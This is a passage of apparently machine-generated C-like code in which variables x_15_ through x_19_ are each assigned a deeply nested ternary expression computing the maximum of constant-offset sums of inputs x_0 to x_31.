(10.0 + x_16) : (8.0 + x_17)) : ((3.0 + x_18) > (15.0 + x_21)? (3.0 + x_18) : (15.0 + x_21))) : (((18.0 + x_25) > (4.0 + x_26)? (18.0 + x_25) : (4.0 + x_26)) > ((16.0 + x_27) > (19.0 + x_28)? (16.0 + x_27) : (19.0 + x_28))? ((18.0 + x_25) > (4.0 + x_26)? (18.0 + x_25) : (4.0 + x_26)) : ((16.0 + x_27) > (19.0 + x_28)? (16.0 + x_27) : (19.0 + x_28))))? ((((17.0 + x_0) > (5.0 + x_2)? (17.0 + x_0) : (5.0 + x_2)) > ((20.0 + x_3) > (19.0 + x_5)? (20.0 + x_3) : (19.0 + x_5))? ((17.0 + x_0) > (5.0 + x_2)? (17.0 + x_0) : (5.0 + x_2)) : ((20.0 + x_3) > (19.0 + x_5)? (20.0 + x_3) : (19.0 + x_5))) > (((2.0 + x_7) > (5.0 + x_8)? (2.0 + x_7) : (5.0 + x_8)) > ((4.0 + x_12) > (18.0 + x_13)? (4.0 + x_12) : (18.0 + x_13))? ((2.0 + x_7) > (5.0 + x_8)? (2.0 + x_7) : (5.0 + x_8)) : ((4.0 + x_12) > (18.0 + x_13)? (4.0 + x_12) : (18.0 + x_13)))? (((17.0 + x_0) > (5.0 + x_2)? (17.0 + x_0) : (5.0 + x_2)) > ((20.0 + x_3) > (19.0 + x_5)? (20.0 + x_3) : (19.0 + x_5))? ((17.0 + x_0) > (5.0 + x_2)? (17.0 + x_0) : (5.0 + x_2)) : ((20.0 + x_3) > (19.0 + x_5)? (20.0 + x_3) : (19.0 + x_5))) : (((2.0 + x_7) > (5.0 + x_8)? (2.0 + x_7) : (5.0 + x_8)) > ((4.0 + x_12) > (18.0 + x_13)? (4.0 + x_12) : (18.0 + x_13))? ((2.0 + x_7) > (5.0 + x_8)? (2.0 + x_7) : (5.0 + x_8)) : ((4.0 + x_12) > (18.0 + x_13)? (4.0 + x_12) : (18.0 + x_13)))) : ((((10.0 + x_16) > (8.0 + x_17)? (10.0 + x_16) : (8.0 + x_17)) > ((3.0 + x_18) > (15.0 + x_21)? (3.0 + x_18) : (15.0 + x_21))? ((10.0 + x_16) > (8.0 + x_17)? (10.0 + x_16) : (8.0 + x_17)) : ((3.0 + x_18) > (15.0 + x_21)? (3.0 + x_18) : (15.0 + x_21))) > (((18.0 + x_25) > (4.0 + x_26)? (18.0 + x_25) : (4.0 + x_26)) > ((16.0 + x_27) > (19.0 + x_28)? (16.0 + x_27) : (19.0 + x_28))? ((18.0 + x_25) > (4.0 + x_26)? (18.0 + x_25) : (4.0 + x_26)) : ((16.0 + x_27) > (19.0 + x_28)? (16.0 + x_27) : (19.0 + x_28)))? (((10.0 + x_16) > (8.0 + x_17)? (10.0 + x_16) : (8.0 + x_17)) > ((3.0 + x_18) > (15.0 + x_21)? (3.0 + x_18) : (15.0 + x_21))? ((10.0 + x_16) > (8.0 + x_17)? (10.0 + x_16) : (8.0 + x_17)) : ((3.0 + x_18) > (15.0 + x_21)? (3.0 + x_18) : (15.0 + x_21))) : (((18.0 + x_25) > (4.0 + x_26)? (18.0 + x_25) : (4.0 + x_26)) > ((16.0 + x_27) > (19.0 + x_28)? (16.0 + x_27) : (19.0 + x_28))? ((18.0 + x_25) > (4.0 + x_26)? (18.0 + x_25) : (4.0 + x_26)) : ((16.0 + x_27) > (19.0 + x_28)? (16.0 + x_27) : (19.0 + x_28))))); x_15_ = (((((7.0 + x_0) > (4.0 + x_2)? (7.0 + x_0) : (4.0 + x_2)) > ((19.0 + x_3) > (9.0 + x_4)? (19.0 + x_3) : (9.0 + x_4))? ((7.0 + x_0) > (4.0 + x_2)? (7.0 + x_0) : (4.0 + x_2)) : ((19.0 + x_3) > (9.0 + x_4)? (19.0 + x_3) : (9.0 + x_4))) > (((14.0 + x_5) > (9.0 + x_11)? (14.0 + x_5) : (9.0 + x_11)) > ((13.0 + x_12) > (20.0 + x_13)? (13.0 + x_12) : (20.0 + x_13))? ((14.0 + x_5) > (9.0 + x_11)? (14.0 + x_5) : (9.0 + x_11)) : ((13.0 + x_12) > (20.0 + x_13)? (13.0 + x_12) : (20.0 + x_13)))? (((7.0 + x_0) > (4.0 + x_2)? (7.0 + x_0) : (4.0 + x_2)) > ((19.0 + x_3) > (9.0 + x_4)? (19.0 + x_3) : (9.0 + x_4))? ((7.0 + x_0) > (4.0 + x_2)? (7.0 + x_0) : (4.0 + x_2)) : ((19.0 + x_3) > (9.0 + x_4)? (19.0 + x_3) : (9.0 + x_4))) : (((14.0 + x_5) > (9.0 + x_11)? (14.0 + x_5) : (9.0 + x_11)) > ((13.0 + x_12) > (20.0 + x_13)? (13.0 + x_12) : (20.0 + x_13))? ((14.0 + x_5) > (9.0 + x_11)? (14.0 + x_5) : (9.0 + x_11)) : ((13.0 + x_12) > (20.0 + x_13)? (13.0 + x_12) : (20.0 + x_13)))) > ((((20.0 + x_14) > (10.0 + x_15)? (20.0 + x_14) : (10.0 + x_15)) > ((1.0 + x_16) > (11.0 + x_20)? (1.0 + x_16) : (11.0 + x_20))? ((20.0 + x_14) > (10.0 + x_15)? (20.0 + x_14) : (10.0 + x_15)) : ((1.0 + x_16) > (11.0 + x_20)? (1.0 + x_16) : (11.0 + x_20))) > (((4.0 + x_21) > (12.0 + x_24)? (4.0 + x_21) : (12.0 + x_24)) > ((7.0 + x_26) > (19.0 + x_28)? (7.0 + x_26) : (19.0 + x_28))? ((4.0 + x_21) > (12.0 + x_24)? (4.0 + x_21) : (12.0 + x_24)) : ((7.0 + x_26) > (19.0 + x_28)? (7.0 + x_26) : (19.0 + x_28)))? (((20.0 + x_14) > (10.0 + x_15)? (20.0 + x_14) : (10.0 + x_15)) > ((1.0 + x_16) > (11.0 + x_20)? (1.0 + x_16) : (11.0 + x_20))? ((20.0 + x_14) > (10.0 + x_15)? (20.0 + x_14) : (10.0 + x_15)) : ((1.0 + x_16) > (11.0 + x_20)? (1.0 + x_16) : (11.0 + x_20))) : (((4.0 + x_21) > (12.0 + x_24)? (4.0 + x_21) : (12.0 + x_24)) > ((7.0 + x_26) > (19.0 + x_28)? (7.0 + x_26) : (19.0 + x_28))? ((4.0 + x_21) > (12.0 + x_24)? (4.0 + x_21) : (12.0 + x_24)) : ((7.0 + x_26) > (19.0 + x_28)? (7.0 + x_26) : (19.0 + x_28))))? ((((7.0 + x_0) > (4.0 + x_2)? (7.0 + x_0) : (4.0 + x_2)) > ((19.0 + x_3) > (9.0 + x_4)? (19.0 + x_3) : (9.0 + x_4))? ((7.0 + x_0) > (4.0 + x_2)? (7.0 + x_0) : (4.0 + x_2)) : ((19.0 + x_3) > (9.0 + x_4)? (19.0 + x_3) : (9.0 + x_4))) > (((14.0 + x_5) > (9.0 + x_11)? (14.0 + x_5) : (9.0 + x_11)) > ((13.0 + x_12) > (20.0 + x_13)? (13.0 + x_12) : (20.0 + x_13))? ((14.0 + x_5) > (9.0 + x_11)? (14.0 + x_5) : (9.0 + x_11)) : ((13.0 + x_12) > (20.0 + x_13)? (13.0 + x_12) : (20.0 + x_13)))? (((7.0 + x_0) > (4.0 + x_2)? (7.0 + x_0) : (4.0 + x_2)) > ((19.0 + x_3) > (9.0 + x_4)? (19.0 + x_3) : (9.0 + x_4))? ((7.0 + x_0) > (4.0 + x_2)? (7.0 + x_0) : (4.0 + x_2)) : ((19.0 + x_3) > (9.0 + x_4)? (19.0 + x_3) : (9.0 + x_4))) : (((14.0 + x_5) > (9.0 + x_11)? (14.0 + x_5) : (9.0 + x_11)) > ((13.0 + x_12) > (20.0 + x_13)? (13.0 + x_12) : (20.0 + x_13))? ((14.0 + x_5) > (9.0 + x_11)? (14.0 + x_5) : (9.0 + x_11)) : ((13.0 + x_12) > (20.0 + x_13)? (13.0 + x_12) : (20.0 + x_13)))) : ((((20.0 + x_14) > (10.0 + x_15)? (20.0 + x_14) : (10.0 + x_15)) > ((1.0 + x_16) > (11.0 + x_20)? (1.0 + x_16) : (11.0 + x_20))? ((20.0 + x_14) > (10.0 + x_15)? (20.0 + x_14) : (10.0 + x_15)) : ((1.0 + x_16) > (11.0 + x_20)? (1.0 + x_16) : (11.0 + x_20))) > (((4.0 + x_21) > (12.0 + x_24)? (4.0 + x_21) : (12.0 + x_24)) > ((7.0 + x_26) > (19.0 + x_28)? (7.0 + x_26) : (19.0 + x_28))? ((4.0 + x_21) > (12.0 + x_24)? (4.0 + x_21) : (12.0 + x_24)) : ((7.0 + x_26) > (19.0 + x_28)? (7.0 + x_26) : (19.0 + x_28)))? (((20.0 + x_14) > (10.0 + x_15)? (20.0 + x_14) : (10.0 + x_15)) > ((1.0 + x_16) > (11.0 + x_20)? (1.0 + x_16) : (11.0 + x_20))? ((20.0 + x_14) > (10.0 + x_15)? (20.0 + x_14) : (10.0 + x_15)) : ((1.0 + x_16) > (11.0 + x_20)? (1.0 + x_16) : (11.0 + x_20))) : (((4.0 + x_21) > (12.0 + x_24)? (4.0 + x_21) : (12.0 + x_24)) > ((7.0 + x_26) > (19.0 + x_28)? (7.0 + x_26) : (19.0 + x_28))? ((4.0 + x_21) > (12.0 + x_24)? (4.0 + x_21) : (12.0 + x_24)) : ((7.0 + x_26) > (19.0 + x_28)? (7.0 + x_26) : (19.0 + x_28))))); x_16_ = (((((18.0 + x_0) > (18.0 + x_1)? (18.0 + x_0) : (18.0 + x_1)) > ((19.0 + x_3) > (6.0 + x_5)? (19.0 + x_3) : (6.0 + x_5))? ((18.0 + x_0) > (18.0 + x_1)? (18.0 + x_0) : (18.0 + x_1)) : ((19.0 + x_3) > (6.0 + x_5)? (19.0 + x_3) : (6.0 + x_5))) > (((17.0 + x_6) > (18.0 + x_7)? (17.0 + x_6) : (18.0 + x_7)) > ((3.0 + x_8) > (5.0 + x_11)? (3.0 + x_8) : (5.0 + x_11))? ((17.0 + x_6) > (18.0 + x_7)? (17.0 + x_6) : (18.0 + x_7)) : ((3.0 + x_8) > (5.0 + x_11)? (3.0 + x_8) : (5.0 + x_11)))? (((18.0 + x_0) > (18.0 + x_1)? (18.0 + x_0) : (18.0 + x_1)) > ((19.0 + x_3) > (6.0 + x_5)? (19.0 + x_3) : (6.0 + x_5))? ((18.0 + x_0) > (18.0 + x_1)? (18.0 + x_0) : (18.0 + x_1)) : ((19.0 + x_3) > (6.0 + x_5)? (19.0 + x_3) : (6.0 + x_5))) : (((17.0 + x_6) > (18.0 + x_7)? (17.0 + x_6) : (18.0 + x_7)) > ((3.0 + x_8) > (5.0 + x_11)? (3.0 + x_8) : (5.0 + x_11))? ((17.0 + x_6) > (18.0 + x_7)? (17.0 + x_6) : (18.0 + x_7)) : ((3.0 + x_8) > (5.0 + x_11)? (3.0 + x_8) : (5.0 + x_11)))) > ((((20.0 + x_13) > (14.0 + x_14)? (20.0 + x_13) : (14.0 + x_14)) > ((9.0 + x_15) > (3.0 + x_18)? (9.0 + x_15) : (3.0 + x_18))? ((20.0 + x_13) > (14.0 + x_14)? (20.0 + x_13) : (14.0 + x_14)) : ((9.0 + x_15) > (3.0 + x_18)? (9.0 + x_15) : (3.0 + x_18))) > (((5.0 + x_20) > (19.0 + x_21)? (5.0 + x_20) : (19.0 + x_21)) > ((5.0 + x_24) > (11.0 + x_27)? (5.0 + x_24) : (11.0 + x_27))? ((5.0 + x_20) > (19.0 + x_21)? (5.0 + x_20) : (19.0 + x_21)) : ((5.0 + x_24) > (11.0 + x_27)? (5.0 + x_24) : (11.0 + x_27)))? (((20.0 + x_13) > (14.0 + x_14)? (20.0 + x_13) : (14.0 + x_14)) > ((9.0 + x_15) > (3.0 + x_18)? (9.0 + x_15) : (3.0 + x_18))? ((20.0 + x_13) > (14.0 + x_14)? (20.0 + x_13) : (14.0 + x_14)) : ((9.0 + x_15) > (3.0 + x_18)? (9.0 + x_15) : (3.0 + x_18))) : (((5.0 + x_20) > (19.0 + x_21)? (5.0 + x_20) : (19.0 + x_21)) > ((5.0 + x_24) > (11.0 + x_27)? (5.0 + x_24) : (11.0 + x_27))? ((5.0 + x_20) > (19.0 + x_21)? (5.0 + x_20) : (19.0 + x_21)) : ((5.0 + x_24) > (11.0 + x_27)? (5.0 + x_24) : (11.0 + x_27))))? ((((18.0 + x_0) > (18.0 + x_1)? (18.0 + x_0) : (18.0 + x_1)) > ((19.0 + x_3) > (6.0 + x_5)? (19.0 + x_3) : (6.0 + x_5))? ((18.0 + x_0) > (18.0 + x_1)? (18.0 + x_0) : (18.0 + x_1)) : ((19.0 + x_3) > (6.0 + x_5)? (19.0 + x_3) : (6.0 + x_5))) > (((17.0 + x_6) > (18.0 + x_7)? (17.0 + x_6) : (18.0 + x_7)) > ((3.0 + x_8) > (5.0 + x_11)? (3.0 + x_8) : (5.0 + x_11))? ((17.0 + x_6) > (18.0 + x_7)? (17.0 + x_6) : (18.0 + x_7)) : ((3.0 + x_8) > (5.0 + x_11)? (3.0 + x_8) : (5.0 + x_11)))? (((18.0 + x_0) > (18.0 + x_1)? (18.0 + x_0) : (18.0 + x_1)) > ((19.0 + x_3) > (6.0 + x_5)? (19.0 + x_3) : (6.0 + x_5))? ((18.0 + x_0) > (18.0 + x_1)? (18.0 + x_0) : (18.0 + x_1)) : ((19.0 + x_3) > (6.0 + x_5)? (19.0 + x_3) : (6.0 + x_5))) : (((17.0 + x_6) > (18.0 + x_7)? (17.0 + x_6) : (18.0 + x_7)) > ((3.0 + x_8) > (5.0 + x_11)? (3.0 + x_8) : (5.0 + x_11))? ((17.0 + x_6) > (18.0 + x_7)? (17.0 + x_6) : (18.0 + x_7)) : ((3.0 + x_8) > (5.0 + x_11)? (3.0 + x_8) : (5.0 + x_11)))) : ((((20.0 + x_13) > (14.0 + x_14)? (20.0 + x_13) : (14.0 + x_14)) > ((9.0 + x_15) > (3.0 + x_18)? (9.0 + x_15) : (3.0 + x_18))? ((20.0 + x_13) > (14.0 + x_14)? (20.0 + x_13) : (14.0 + x_14)) : ((9.0 + x_15) > (3.0 + x_18)? (9.0 + x_15) : (3.0 + x_18))) > (((5.0 + x_20) > (19.0 + x_21)? (5.0 + x_20) : (19.0 + x_21)) > ((5.0 + x_24) > (11.0 + x_27)? (5.0 + x_24) : (11.0 + x_27))? ((5.0 + x_20) > (19.0 + x_21)? (5.0 + x_20) : (19.0 + x_21)) : ((5.0 + x_24) > (11.0 + x_27)? (5.0 + x_24) : (11.0 + x_27)))? (((20.0 + x_13) > (14.0 + x_14)? (20.0 + x_13) : (14.0 + x_14)) > ((9.0 + x_15) > (3.0 + x_18)? (9.0 + x_15) : (3.0 + x_18))? ((20.0 + x_13) > (14.0 + x_14)? (20.0 + x_13) : (14.0 + x_14)) : ((9.0 + x_15) > (3.0 + x_18)? (9.0 + x_15) : (3.0 + x_18))) : (((5.0 + x_20) > (19.0 + x_21)? (5.0 + x_20) : (19.0 + x_21)) > ((5.0 + x_24) > (11.0 + x_27)? (5.0 + x_24) : (11.0 + x_27))? ((5.0 + x_20) > (19.0 + x_21)? (5.0 + x_20) : (19.0 + x_21)) : ((5.0 + x_24) > (11.0 + x_27)? (5.0 + x_24) : (11.0 + x_27))))); x_17_ = (((((11.0 + x_0) > (10.0 + x_1)? (11.0 + x_0) : (10.0 + x_1)) > ((20.0 + x_5) > (1.0 + x_6)? (20.0 + x_5) : (1.0 + x_6))? ((11.0 + x_0) > (10.0 + x_1)? (11.0 + x_0) : (10.0 + x_1)) : ((20.0 + x_5) > (1.0 + x_6)? (20.0 + x_5) : (1.0 + x_6))) > (((5.0 + x_9) > (8.0 + x_12)? (5.0 + x_9) : (8.0 + x_12)) > ((19.0 + x_13) > (19.0 + x_16)? (19.0 + x_13) : (19.0 + x_16))? ((5.0 + x_9) > (8.0 + x_12)? (5.0 + x_9) : (8.0 + x_12)) : ((19.0 + x_13) > (19.0 + x_16)? (19.0 + x_13) : (19.0 + x_16)))? (((11.0 + x_0) > (10.0 + x_1)? (11.0 + x_0) : (10.0 + x_1)) > ((20.0 + x_5) > (1.0 + x_6)? (20.0 + x_5) : (1.0 + x_6))? ((11.0 + x_0) > (10.0 + x_1)? (11.0 + x_0) : (10.0 + x_1)) : ((20.0 + x_5) > (1.0 + x_6)? (20.0 + x_5) : (1.0 + x_6))) : (((5.0 + x_9) > (8.0 + x_12)? (5.0 + x_9) : (8.0 + x_12)) > ((19.0 + x_13) > (19.0 + x_16)? (19.0 + x_13) : (19.0 + x_16))? ((5.0 + x_9) > (8.0 + x_12)? (5.0 + x_9) : (8.0 + x_12)) : ((19.0 + x_13) > (19.0 + x_16)? (19.0 + x_13) : (19.0 + x_16)))) > ((((12.0 + x_19) > (2.0 + x_20)? (12.0 + x_19) : (2.0 + x_20)) > ((8.0 + x_21) > (18.0 + x_23)? (8.0 + x_21) : (18.0 + x_23))? ((12.0 + x_19) > (2.0 + x_20)? (12.0 + x_19) : (2.0 + x_20)) : ((8.0 + x_21) > (18.0 + x_23)? (8.0 + x_21) : (18.0 + x_23))) > (((13.0 + x_25) > (2.0 + x_26)? (13.0 + x_25) : (2.0 + x_26)) > ((3.0 + x_27) > (2.0 + x_30)? (3.0 + x_27) : (2.0 + x_30))? ((13.0 + x_25) > (2.0 + x_26)? (13.0 + x_25) : (2.0 + x_26)) : ((3.0 + x_27) > (2.0 + x_30)? (3.0 + x_27) : (2.0 + x_30)))? (((12.0 + x_19) > (2.0 + x_20)? (12.0 + x_19) : (2.0 + x_20)) > ((8.0 + x_21) > (18.0 + x_23)? (8.0 + x_21) : (18.0 + x_23))? ((12.0 + x_19) > (2.0 + x_20)? (12.0 + x_19) : (2.0 + x_20)) : ((8.0 + x_21) > (18.0 + x_23)? (8.0 + x_21) : (18.0 + x_23))) : (((13.0 + x_25) > (2.0 + x_26)? (13.0 + x_25) : (2.0 + x_26)) > ((3.0 + x_27) > (2.0 + x_30)? (3.0 + x_27) : (2.0 + x_30))? ((13.0 + x_25) > (2.0 + x_26)? (13.0 + x_25) : (2.0 + x_26)) : ((3.0 + x_27) > (2.0 + x_30)? (3.0 + x_27) : (2.0 + x_30))))? ((((11.0 + x_0) > (10.0 + x_1)? (11.0 + x_0) : (10.0 + x_1)) > ((20.0 + x_5) > (1.0 + x_6)? (20.0 + x_5) : (1.0 + x_6))? ((11.0 + x_0) > (10.0 + x_1)? (11.0 + x_0) : (10.0 + x_1)) : ((20.0 + x_5) > (1.0 + x_6)? (20.0 + x_5) : (1.0 + x_6))) > (((5.0 + x_9) > (8.0 + x_12)? (5.0 + x_9) : (8.0 + x_12)) > ((19.0 + x_13) > (19.0 + x_16)? (19.0 + x_13) : (19.0 + x_16))? ((5.0 + x_9) > (8.0 + x_12)? (5.0 + x_9) : (8.0 + x_12)) : ((19.0 + x_13) > (19.0 + x_16)? (19.0 + x_13) : (19.0 + x_16)))? (((11.0 + x_0) > (10.0 + x_1)? (11.0 + x_0) : (10.0 + x_1)) > ((20.0 + x_5) > (1.0 + x_6)? (20.0 + x_5) : (1.0 + x_6))? ((11.0 + x_0) > (10.0 + x_1)? (11.0 + x_0) : (10.0 + x_1)) : ((20.0 + x_5) > (1.0 + x_6)? (20.0 + x_5) : (1.0 + x_6))) : (((5.0 + x_9) > (8.0 + x_12)? (5.0 + x_9) : (8.0 + x_12)) > ((19.0 + x_13) > (19.0 + x_16)? (19.0 + x_13) : (19.0 + x_16))? ((5.0 + x_9) > (8.0 + x_12)? (5.0 + x_9) : (8.0 + x_12)) : ((19.0 + x_13) > (19.0 + x_16)? (19.0 + x_13) : (19.0 + x_16)))) : ((((12.0 + x_19) > (2.0 + x_20)? (12.0 + x_19) : (2.0 + x_20)) > ((8.0 + x_21) > (18.0 + x_23)? (8.0 + x_21) : (18.0 + x_23))? ((12.0 + x_19) > (2.0 + x_20)? (12.0 + x_19) : (2.0 + x_20)) : ((8.0 + x_21) > (18.0 + x_23)? (8.0 + x_21) : (18.0 + x_23))) > (((13.0 + x_25) > (2.0 + x_26)? (13.0 + x_25) : (2.0 + x_26)) > ((3.0 + x_27) > (2.0 + x_30)? (3.0 + x_27) : (2.0 + x_30))? ((13.0 + x_25) > (2.0 + x_26)? (13.0 + x_25) : (2.0 + x_26)) : ((3.0 + x_27) > (2.0 + x_30)? (3.0 + x_27) : (2.0 + x_30)))? (((12.0 + x_19) > (2.0 + x_20)? (12.0 + x_19) : (2.0 + x_20)) > ((8.0 + x_21) > (18.0 + x_23)? (8.0 + x_21) : (18.0 + x_23))? ((12.0 + x_19) > (2.0 + x_20)? (12.0 + x_19) : (2.0 + x_20)) : ((8.0 + x_21) > (18.0 + x_23)? (8.0 + x_21) : (18.0 + x_23))) : (((13.0 + x_25) > (2.0 + x_26)? (13.0 + x_25) : (2.0 + x_26)) > ((3.0 + x_27) > (2.0 + x_30)? (3.0 + x_27) : (2.0 + x_30))? ((13.0 + x_25) > (2.0 + x_26)? (13.0 + x_25) : (2.0 + x_26)) : ((3.0 + x_27) > (2.0 + x_30)? (3.0 + x_27) : (2.0 + x_30))))); x_18_ = (((((16.0 + x_0) > (15.0 + x_2)? (16.0 + x_0) : (15.0 + x_2)) > ((3.0 + x_3) > (4.0 + x_4)? (3.0 + x_3) : (4.0 + x_4))? ((16.0 + x_0) > (15.0 + x_2)? (16.0 + x_0) : (15.0 + x_2)) : ((3.0 + x_3) > (4.0 + x_4)? (3.0 + x_3) : (4.0 + x_4))) > (((9.0 + x_11) > (6.0 + x_13)? (9.0 + x_11) : (6.0 + x_13)) > ((6.0 + x_14) > (9.0 + x_15)? (6.0 + x_14) : (9.0 + x_15))? ((9.0 + x_11) > (6.0 + x_13)? (9.0 + x_11) : (6.0 + x_13)) : ((6.0 + x_14) > (9.0 + x_15)? (6.0 + x_14) : (9.0 + x_15)))? (((16.0 + x_0) > (15.0 + x_2)? (16.0 + x_0) : (15.0 + x_2)) > ((3.0 + x_3) > (4.0 + x_4)? (3.0 + x_3) : (4.0 + x_4))? ((16.0 + x_0) > (15.0 + x_2)? (16.0 + x_0) : (15.0 + x_2)) : ((3.0 + x_3) > (4.0 + x_4)? (3.0 + x_3) : (4.0 + x_4))) : (((9.0 + x_11) > (6.0 + x_13)? (9.0 + x_11) : (6.0 + x_13)) > ((6.0 + x_14) > (9.0 + x_15)? (6.0 + x_14) : (9.0 + x_15))? ((9.0 + x_11) > (6.0 + x_13)? (9.0 + x_11) : (6.0 + x_13)) : ((6.0 + x_14) > (9.0 + x_15)? (6.0 + x_14) : (9.0 + x_15)))) > ((((13.0 + x_16) > (3.0 + x_18)? (13.0 + x_16) : (3.0 + x_18)) > ((13.0 + x_21) > (4.0 + x_23)? (13.0 + x_21) : (4.0 + x_23))? ((13.0 + x_16) > (3.0 + x_18)? (13.0 + x_16) : (3.0 + x_18)) : ((13.0 + x_21) > (4.0 + x_23)? (13.0 + x_21) : (4.0 + x_23))) > (((8.0 + x_24) > (16.0 + x_29)? (8.0 + x_24) : (16.0 + x_29)) > ((14.0 + x_30) > (18.0 + x_31)? (14.0 + x_30) : (18.0 + x_31))? ((8.0 + x_24) > (16.0 + x_29)? (8.0 + x_24) : (16.0 + x_29)) : ((14.0 + x_30) > (18.0 + x_31)? (14.0 + x_30) : (18.0 + x_31)))? (((13.0 + x_16) > (3.0 + x_18)? (13.0 + x_16) : (3.0 + x_18)) > ((13.0 + x_21) > (4.0 + x_23)? (13.0 + x_21) : (4.0 + x_23))? ((13.0 + x_16) > (3.0 + x_18)? (13.0 + x_16) : (3.0 + x_18)) : ((13.0 + x_21) > (4.0 + x_23)? (13.0 + x_21) : (4.0 + x_23))) : (((8.0 + x_24) > (16.0 + x_29)? (8.0 + x_24) : (16.0 + x_29)) > ((14.0 + x_30) > (18.0 + x_31)? (14.0 + x_30) : (18.0 + x_31))? ((8.0 + x_24) > (16.0 + x_29)? (8.0 + x_24) : (16.0 + x_29)) : ((14.0 + x_30) > (18.0 + x_31)? (14.0 + x_30) : (18.0 + x_31))))? ((((16.0 + x_0) > (15.0 + x_2)? (16.0 + x_0) : (15.0 + x_2)) > ((3.0 + x_3) > (4.0 + x_4)? (3.0 + x_3) : (4.0 + x_4))? ((16.0 + x_0) > (15.0 + x_2)? (16.0 + x_0) : (15.0 + x_2)) : ((3.0 + x_3) > (4.0 + x_4)? (3.0 + x_3) : (4.0 + x_4))) > (((9.0 + x_11) > (6.0 + x_13)? (9.0 + x_11) : (6.0 + x_13)) > ((6.0 + x_14) > (9.0 + x_15)? (6.0 + x_14) : (9.0 + x_15))? ((9.0 + x_11) > (6.0 + x_13)? (9.0 + x_11) : (6.0 + x_13)) : ((6.0 + x_14) > (9.0 + x_15)? (6.0 + x_14) : (9.0 + x_15)))? (((16.0 + x_0) > (15.0 + x_2)? (16.0 + x_0) : (15.0 + x_2)) > ((3.0 + x_3) > (4.0 + x_4)? (3.0 + x_3) : (4.0 + x_4))? ((16.0 + x_0) > (15.0 + x_2)? (16.0 + x_0) : (15.0 + x_2)) : ((3.0 + x_3) > (4.0 + x_4)? (3.0 + x_3) : (4.0 + x_4))) : (((9.0 + x_11) > (6.0 + x_13)? (9.0 + x_11) : (6.0 + x_13)) > ((6.0 + x_14) > (9.0 + x_15)? (6.0 + x_14) : (9.0 + x_15))? ((9.0 + x_11) > (6.0 + x_13)? (9.0 + x_11) : (6.0 + x_13)) : ((6.0 + x_14) > (9.0 + x_15)? (6.0 + x_14) : (9.0 + x_15)))) : ((((13.0 + x_16) > (3.0 + x_18)? (13.0 + x_16) : (3.0 + x_18)) > ((13.0 + x_21) > (4.0 + x_23)? (13.0 + x_21) : (4.0 + x_23))? ((13.0 + x_16) > (3.0 + x_18)? (13.0 + x_16) : (3.0 + x_18)) : ((13.0 + x_21) > (4.0 + x_23)? (13.0 + x_21) : (4.0 + x_23))) > (((8.0 + x_24) > (16.0 + x_29)? (8.0 + x_24) : (16.0 + x_29)) > ((14.0 + x_30) > (18.0 + x_31)? (14.0 + x_30) : (18.0 + x_31))? ((8.0 + x_24) > (16.0 + x_29)? (8.0 + x_24) : (16.0 + x_29)) : ((14.0 + x_30) > (18.0 + x_31)? (14.0 + x_30) : (18.0 + x_31)))? (((13.0 + x_16) > (3.0 + x_18)? (13.0 + x_16) : (3.0 + x_18)) > ((13.0 + x_21) > (4.0 + x_23)? (13.0 + x_21) : (4.0 + x_23))? ((13.0 + x_16) > (3.0 + x_18)? (13.0 + x_16) : (3.0 + x_18)) : ((13.0 + x_21) > (4.0 + x_23)? (13.0 + x_21) : (4.0 + x_23))) : (((8.0 + x_24) > (16.0 + x_29)? (8.0 + x_24) : (16.0 + x_29)) > ((14.0 + x_30) > (18.0 + x_31)? (14.0 + x_30) : (18.0 + x_31))? ((8.0 + x_24) > (16.0 + x_29)? (8.0 + x_24) : (16.0 + x_29)) : ((14.0 + x_30) > (18.0 + x_31)? (14.0 + x_30) : (18.0 + x_31))))); x_19_ = (((((4.0 + x_0) > (14.0 + x_2)? (4.0 + x_0) : (14.0 + x_2)) > ((3.0 + x_5) > (14.0 + x_6)? (3.0 + x_5) : (14.0 + x_6))? ((4.0 + x_0) > (14.0 + x_2)? (4.0 + x_0) : (14.0 + x_2)) : ((3.0 + x_5) > (14.0 + x_6)? (3.0 + x_5) : (14.0 + x_6))) > (((1.0 + x_9) > (16.0 + x_10)? (1.0 + x_9) : (16.0 + x_10)) > ((11.0 + x_11) > (9.0 + x_13)? (11.0 + x_11) : (9.0 + x_13))? ((1.0 + x_9) > (16.0 + x_10)? (1.0 + x_9) : (16.0 + x_10)) : ((11.0 + x_11) > (9.0 + x_13)? (11.0 + x_11) : (9.0 + x_13)))? (((4.0 + x_0) > (14.0 + x_2)? (4.0 + x_0) : (14.0 + x_2)) > ((3.0 + x_5) > (14.0 + x_6)? (3.0 + x_5) : (14.0 + x_6))? ((4.0 + x_0) > (14.0 + x_2)? (4.0 + x_0) : (14.0 + x_2)) : ((3.0 + x_5) > (14.0 + x_6)? (3.0 + x_5) : (14.0 + x_6))) : (((1.0 + x_9) > (16.0 + x_10)? (1.0 + x_9) : (16.0 + x_10)) > ((11.0 + x_11) > (9.0 + x_13)? (11.0 + x_11) : (9.0 + x_13))? ((1.0 + x_9) > (16.0 + x_10)? (1.0 + x_9) : (16.0 + x_10)) : ((11.0 + x_11) > (9.0 + x_13)? (11.0 + x_11) : (9.0 + x_13)))) > ((((11.0 + x_15) > (17.0 + x_22)? (11.0 + x_15) : (17.0 + x_22)) > ((2.0 + x_25) > (4.0 + x_26)? (2.0 + x_25) : (4.0 + x_26))? ((11.0 + x_15) > (17.0 + x_22)? (11.0 + x_15) : (17.0 + x_22)) : ((2.0 + x_25) > (4.0 + x_26)? (2.0 + x_25) : (4.0 + x_26))) > (((2.0 + x_27) > (15.0 + x_29)? (2.0 + x_27) : (15.0 + x_29)) > ((8.0 + x_30) > (20.0 + x_31)? (8.0 + x_30) : (20.0 + x_31))? ((2.0 + x_27) > (15.0 + x_29)? (2.0 + x_27) : (15.0 + x_29)) : ((8.0 + x_30) > (20.0 + x_31)? (8.0 + x_30) : (20.0 + x_31)))? (((11.0 + x_15) > (17.0 + x_22)? (11.0 + x_15) : (17.0 + x_22)) > ((2.0 + x_25) > (4.0 + x_26)? (2.0 + x_25) : (4.0 + x_26))? ((11.0 + x_15) > (17.0 + x_22)? (11.0 + x_15) : (17.0 + x_22)) : ((2.0 + x_25) > (4.0 + x_26)? (2.0 + x_25) : (4.0 + x_26))) : (((2.0 + x_27) > (15.0 + x_29)? (2.0 + x_27) : (15.0 + x_29)) > ((8.0 + x_30) > (20.0 + x_31)? (8.0 + x_30) : (20.0 + x_31))? ((2.0 + x_27) > (15.0 + x_29)? (2.0 + x_27) : (15.0 + x_29)) : ((8.0 + x_30) > (20.0 + x_31)? (8.0 + x_30) : (20.0 + x_31))))? ((((4.0 + x_0) > (14.0 + x_2)? (4.0 + x_0) : (14.0 + x_2)) > 